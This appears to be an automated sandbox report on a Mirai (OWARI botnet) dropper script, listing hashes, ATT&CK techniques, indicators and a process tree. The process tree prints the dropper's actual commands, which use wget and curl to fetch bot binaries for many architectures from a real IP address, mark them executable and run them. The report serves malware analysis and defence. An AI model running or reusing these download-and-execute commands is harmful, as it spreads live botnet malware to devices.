mirai | e24dd004f6ce8f29d3d5f8a6202d20cfe824c7696023da5eacf66c5d6a9ca6e0

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20250619-en
resource tags

arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
14/10/2025, 22:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
pay.sh
Size 1KB
Sample251014-2q313sem8x
SHA256 e24dd004f6ce8f29d3d5f8a6202d20cfe824c7696023da5eacf66c5d6a9ca6e0
MD5 ccecd6e3ebb4e47184b87971af7f5005
SHA1 78745204a649785c5e687b34fac572f93f18e4c3
SHA512 6ccd3c43eef2fbe7e66695feb7785c775c30c57f5079e547a98a05b3d9d8150a6b7e9e396d875ad057b83ac41a1f5cb0ee1792d2119ba575058de7e2df28aa1e
MD5 SHA1 SHA512

Score

10^/10

botnet owari defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
809	chmod
851	chmod
874	chmod
901	chmod
740	chmod
767	chmod
862	chmod
889	chmod
913	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/robi	741	pay.sh
/tmp/robi	747	pay.sh
/tmp/robi	768	pay.sh
/tmp/robi	810	pay.sh
/tmp/robi	852	pay.sh
/tmp/robi	863	pay.sh
/tmp/robi	875	pay.sh
/tmp/robi	890	pay.sh
/tmp/robi	902	pay.sh
/tmp/robi	914	pay.sh

Modifies Watchdog functionality 1 TTPs 16 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/misc/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/watchdog	robi
File opened for modification	/dev/watchdog	robi

Enumerates active TCP sockets 1 TTPs 8 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi

Changes its process name 8 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	dLxDbLAyOpFTqeoUhkM	768	robi
Changes the process name, possibly in an attempt to hide itself	wtjsrHVQtTyJJkzXvJ	810	robi
Changes the process name, possibly in an attempt to hide itself	YWwrHbcMfRxDReyLtM	852	robi
Changes the process name, possibly in an attempt to hide itself	zkcLclxDJg	863	robi
Changes the process name, possibly in an attempt to hide itself	TNdKUExDFkG	875	robi
Changes the process name, possibly in an attempt to hide itself	MHlcbmnhXDEjvOvYwiz	890	robi
Changes the process name, possibly in an attempt to hide itself	QWCcIcFejAqBLUnvGGY	902	robi
Changes the process name, possibly in an attempt to hide itself	GxjHAuwDGkuaVyLbI	914	robi

Reads system network configuration 1 TTPs 8 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi
File opened for reading	/proc/net/tcp	robi

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
743	wget
744	curl
745	cat
749	wget
752	curl
765	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robi	pay.sh
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/mipsel	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/arm4	curl
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm6	curl

/tmp/pay.sh
/tmp/pay.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:709
- /usr/bin/wget
  wget http://151.242.30.16/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat x86
  2⤵
  PID:739
- /bin/chmod
  chmod +x pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/robi
  ./robi x86
  2⤵
  PID:741
- /usr/bin/wget
  wget http://151.242.30.16/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod +x mips pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/robi
  ./robi x86
  2⤵
  PID:747
- /usr/bin/wget
  wget http://151.242.30.16/bins/mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/mipsel
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat mipsel
  2⤵
  - System Network Configuration Discovery
  PID:765
- /bin/chmod
  chmod +x mips mipsel pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:768
- /usr/bin/wget
  wget http://151.242.30.16/bins/arm4
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x arm4 mips mipsel pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:810
- /usr/bin/wget
  wget http://151.242.30.16/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x arm4 arm5 mips mipsel pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:852
- /usr/bin/wget
  wget http://151.242.30.16/bins/arm6
  2⤵
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod +x arm4 arm5 arm6 mips mipsel pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:863
- /usr/bin/wget
  wget http://151.242.30.16/bins/arm7
  2⤵
  - Writes file to tmp directory
  PID:869
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod +x arm4 arm5 arm6 arm7 mips mipsel pay.sh robi systemd-private-1ca517450e954f7eab7ea38ba247f9f9-systemd-timedated.service-MDUWcJ x86
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:875
- /usr/bin/wget
  wget http://151.242.30.16/bins/ppc
  2⤵
  - Writes file to tmp directory
  PID:881
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod +x arm4 arm5 arm6 arm7 mips mipsel pay.sh ppc robi x86
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:890
- /usr/bin/wget
  wget http://151.242.30.16/bins/m68k
  2⤵
  - Writes file to tmp directory
  PID:896
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/chmod
  chmod +x arm4 arm5 arm6 arm7 m68k mips mipsel pay.sh ppc robi x86
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:902
- /usr/bin/wget
  wget http://151.242.30.16/bins/sh4
  2⤵
  - Writes file to tmp directory
  PID:908
- /usr/bin/curl
  curl -O http://151.242.30.16/bins/sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod +x arm4 arm5 arm6 arm7 m68k mips mipsel pay.sh ppc robi sh4 x86
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/robi
  ./robi x86
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  PID:914

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm4

Path /tmp/arm4
Size 275B
SHA256 69c7cd891fcb842e2e97e9a363e8553d623eab6a52a7c23e8f4f35c168b835cc
MD5 4524fc44594618e0037a6f89730035c7
SHA1 7b97311583c5e6c23949648a48f3f3295a79d5b0
SHA512 81f10daaeb147d2d6b43c3715fe33c027bd95f58a3a19f46fb197d74b9ff1bc15b398902b743e6b45ba5761ecba616c97933fdcd3576e089e6d7ee59d114a25c
MD5 SHA1 SHA512

Submit Download

arm5

Path /tmp/arm5
Size 91KB
SHA256 efe87e7799c3f8071ceb9452f9efad18dc3d3c8e615309917c6844f3a607f9d8
MD5 1aa77c8d54613a1060332d665f01b929
SHA1 ea93a25936b80b77bda2c2b560639d3fb04e7343
SHA512 478d605204f97ff9415afaec11069cc6ee953d0494833cde32bdc242a188abc47cfa9aa1dbbe8930dbb4ceb3047fbbe78bcdab74dfd359d621ed486589aeec52
SSDEEP 1536:pd+dGSq/lv/d7rMbIG4WetuLadxi0cbrT9KM5cZiw+bY4d:f+dY/lub6Y0WcZi9dd
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm6

Path /tmp/arm6
Size 142KB
SHA256 71f476b2ccc96bae580f1cb6d8414678769546c7c4961589b883d906091b9c5e
MD5 459725af687449205ea928b0e5b4eed6
SHA1 251089fba11b0a052a615d0278b66def0359b48f
SHA512 b4fd240e6e21718c2ce8dfd4eee749147399b336505c2566ab6b75b9fa0c1e91a41fd072617caa94481623a173b8c64b984d6d024d963f61812631c4072b5e08
SSDEEP 3072:ENcMOvrpToDzK7rMeQzlue1k6aU9zL6EiueCo2k1:AOhoDzKnMereS6a4Iueck1
MD5 SHA1 SHA512 SSDEEP

Submit Download

arm7

Path /tmp/arm7
Size 225KB
SHA256 30da404c10431fd29f1bffc6ded248854b0d33d810d2309acf6090f6ae8cbcf3
MD5 d2568ad895194e72e2b6ae22ac319593
SHA1 cc98e6548c0da00de92db888301501c965b4e422
SHA512 1c5cc2f8f403a4cc00c36adba223598cc8a42102e0f9eafe5164da4cc87813612b0ee92cef332c01767738a237f771a0e3f3b1150c2cd93ff5db85a27c838d66
SSDEEP 6144:LYoHI9SHOBzabKacEK1dAnJd79Hf9ihM/9hAU:LbESuBzabKacE62JXYG/rJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

m68k

Path /tmp/m68k
Size 143KB
SHA256 25b16b951085cab03ff5aa47b424cf96853653791b88dd08b7dbd43fad2a41a1
MD5 12cdc5395066cc3bd3949a0084947aff
SHA1 4b843960cf53aa96ad92d50e40c07ad7b5b438e5
SHA512 eea66fdfa408d2d4322103efe262fa509df967c3579afb4876c9257c272105f443ba7b4fb7458d2c5fff4cfc5fe3d4827117a3b7c1f04a1dc4966fecc61f3c77
SSDEEP 3072:RmmyBVk2SJgv+3kkSxUcCl10cvjvF9JrT7vybXn:8S2SJgWAUctIvF9FabXn
MD5 SHA1 SHA512 SSDEEP

Submit Download

mips

Path /tmp/mips
Size 167KB
SHA256 f497eb0343706b69c0c2ffa5b813e991f495f1205a735764b93c6ebe6b0f7f55
MD5 7fc41bde7a29feaefc9e151d4604ce03
SHA1 2ac98666ffe13d82156df014314a52498fd963c2
SHA512 4e428fb609ad4f912d9086816f4ac60a026be7baa49db7f850a19c1478706e5126770cb52755930d827276d211b3337ab5fed5eade6d693f5fb4c716c22b5dfc
SSDEEP 3072:MOATXjpCgqDJHDexBJKfjPV4kuMu8hJBQX/uw9EfszRpSP/Q4vkTTzTT4BFZDiw+:MOATXjpCgqDJHDexBJKfjPV4kuMu8hJU
MD5 SHA1 SHA512 SSDEEP

Submit Download

mipsel

Path /tmp/mipsel
Size 175KB
SHA256 2292abed4e8f05eb62d2fa747d149c4b35a95f42c3971bc2012baeaf5b24a950
MD5 7ad86bfc3070bea65ba624d14b1a2474
SHA1 eee1629465dcacfc5857c5b37ca4d195704e4ac3
SHA512 182df4612002171dfad78d7280305371eb87557b642639daf444c65ac9a427c3a923522089e5ce678796540ad56a598b560c0677ce6ebb5754841161e4f1b13e
SSDEEP 3072:t60NrtUpT/5dltGgXGGP9M4S8lrXwU2woAKFLYV0fCtZ1SD39rsJzjM9fx49SY2s:t3nEr5dfHPq7UTo7FsvR9X0l6E
MD5 SHA1 SHA512 SSDEEP

Submit Download

ppc

Path /tmp/ppc
Size 131KB
SHA256 ea32b386b60aca13dc19502672765d447c32124d7f8481eb802a1d42be8b146b
MD5 67176660ea6df3233ec3a07612f425fc
SHA1 7bdd7f4c6770849e750f67b57041a14af6e1dcea
SHA512 7b6c2fdcac030d6ac2b33e2308218116b1d84c04df5a5741ec8e1e8acea756670223f1d5e95a515b9fc0a7719993037be4e1325ee858400648369087647ed1ae
SSDEEP 3072:JUFczWKNZhc3JiwmS7ZHr2Um/u4SM89tkZb:DvNo2kdr2Um24SM8PkZb
MD5 SHA1 SHA512 SSDEEP

Submit Download

sh4

Path /tmp/sh4
Size 117KB
SHA256 4366ba9265bbfda2ba6ac44d15bbd1779d782121e3004ac78bb276aa2ffe7c7e
MD5 03a40cf3c97cee29e9420a8201bde28b
SHA1 7f65580121d7abe8a7440c858baf9267fcd1f853
SHA512 56c891a65a9b468d3044ef4ca48e4393e2ce0c94b4499c497dd1e4a7b3581d3d0dfabf68aaefa170ee712faf5799285fdd624c1c51aad74209dc6342206dcbfc
SSDEEP 1536:qaZwsA5XjVZJK0twtfXd/GW25UhMMJNu5xWKRZwMQaX4jnOsKigXIQSUwrVr1vwf:qf5Z5Z98XdmVMJaiaX7ziGSUGfIwEn
MD5 SHA1 SHA512 SSDEEP

Submit Download

x86

Path /tmp/x86
Size 105KB
SHA256 cbbf94af1383a81e3475a9baa99efcc808f6aa8367f201c2da00e6431d8ab303
MD5 fea6c35e1f2ccd609c53d268c5554d48
SHA1 9c4f8b7ca39f88cd5a16506e3d006b85d9ef7f4b
SHA512 bcd1721bf4f65643e5958162cddf48931c5727952816f6ba52770486d3405f9ac9f7049ba2570104b165e6da63842cf91e7e2485347ac46724e81983e6c2e085
SSDEEP 3072:PbKW4dCLFaGFBu3/45g1rcV2wVzSr9bMFflq:Pbj4doYGFB0/45gdZ9ulq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads